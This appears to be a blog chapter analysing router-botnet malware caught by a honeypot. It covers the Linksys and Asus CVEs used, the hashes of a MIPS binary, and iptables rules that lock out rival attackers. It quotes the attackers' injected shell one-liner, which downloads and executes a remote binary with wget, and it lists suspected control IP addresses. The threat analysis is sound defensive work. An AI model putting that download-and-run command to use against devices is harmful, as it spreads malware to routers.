In a three week period starting in mid-June, my honeypot was exploited 27 times by 25 different IP addresses. It is now known that routers compromised by the QF group are directed to scan and try to exploit additional routers. The 25 IP addresses in this set were not forged or spoofed, because a TCP connection was required to download the next program via wget. Out of the 25 routers that spread the infection during these three weeks, 11 routers were located in the U.S.; three routers were located in Malaysia; two routers were located in Israel; and one router each was located in Australia, Belgium, Bulgaria, India (at a police agency), Macao, Russia, Ukraine and Vietnam.
In each case, the attacking router would first try to exploit a Linksys vulnerability, CVE-2013-5122. When that didn’t work, the same IP address would send the poison packet to UDP port 9999 a few minutes later, a poisoned packet targeting a vulnerability in Asus routers, CVE-2014-9583. The embedded shellscript in the poisoned UDP packet always had the same structure:
sh -c "cd /tmp ; rm -f .nttpd ; wget -O .nttpd http:// [ip] :[port] ; chmod +x .nttpd ; ./.nttpd"
Strangely, most of the time the TCP port designated for the download was port 3344, however 20% of the time the TCP port designated for the download was port 3384.
The first few times I observed a wget command, I attempted to retrieve the file, however the download failed. I concluded that my honeypot had to initiate the download immediately after receiving the poisoned packet.
This was the very first time I retrieved the file. This file was the program the QF group directed the victim to start running. I ran some basic tests on the file to get its hashes and file type.
Test | Value |
---|---|
MD5 | 7ca9f378ca7650d79b478595df2d2681 |
SHA-1 | 3541cbece0c80efc172b94cd80f67c94d1122d87 |
file | ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), stripped |
This file was an executable binary program, intended for the MIPS microarchitecture. So I knew for certain the QF group was targeting, and had programs to run on, embedded devices like routers. The file is databased by VirusTotal and had a detection rate of 2/56 in July. In addition, there is a detailed automated report here.
I am not a malware analyst, but I looked at the ASCII plain text strings in the binary program, and the following strings stood out:
INPUT -p udp --dport %u -j ACCEPT
INPUT -p udp --dport 9999 -j DROP
INPUT -p tcp -m multiport --dport 80,8080 -j DROP
INPUT -s 109.206.177.16 -j ACCEPT
INPUT -s 50.77.24.41 -j ACCEPT
INPUT -s 109.206.186.250 -j ACCEPT
INPUT -s 91.217.90.49 -j ACCEPT
INPUT -s 91.217.90.19 -j ACCEPT
The above strings were fragments of iptables firewall rules. iptables is the firewall used on modern Linux operating systems, including embedded systems.
# | Rule | Explanation |
---|---|---|
1 | INPUT -p udp --dport %u -j ACCEPT |
Allowed any traffic destined for one specific UDP port |
2 | INPUT -p udp --dport 9999 -j DROP |
Rejected any traffic trying to send data to the vulnerable Asus infosvr service |
3 | INPUT -p tcp -m multiport --dport 80,8080 -j DROP |
Rejected any traffic trying to use the router’s web management interface |
4 | INPUT -s 109.206.177.16 -j ACCEPT |
Allowed any traffic through the firewall from these five IP addresses |
5 | INPUT -s 50.77.24.41 -j ACCEPT |
|
6 | INPUT -s 109.206.186.250 -j ACCEPT |
|
7 | INPUT -s 91.217.90.49 -j ACCEPT |
|
8 | INPUT -s 91.217.90.19 -j ACCEPT |
It appeared that, if this program was run on a victim router, it would create firewall rules that would block the same ports that QF used to break in originally. Meaning, the QF cyber operators were selfish, once a vulnerable router was found and compromised, QF did not want to share this new resource with anyone else. Also, the firewall rules allowed traffic from five IP addresses. This suggested that these addresses were, at one point in time, under control of the QF cyber operators.
I suspected the program had more functionality, but I would need some assistance to find out what else the program could do.
To be continued in chapter 3…
One thought on “Chapter Two: The Binary”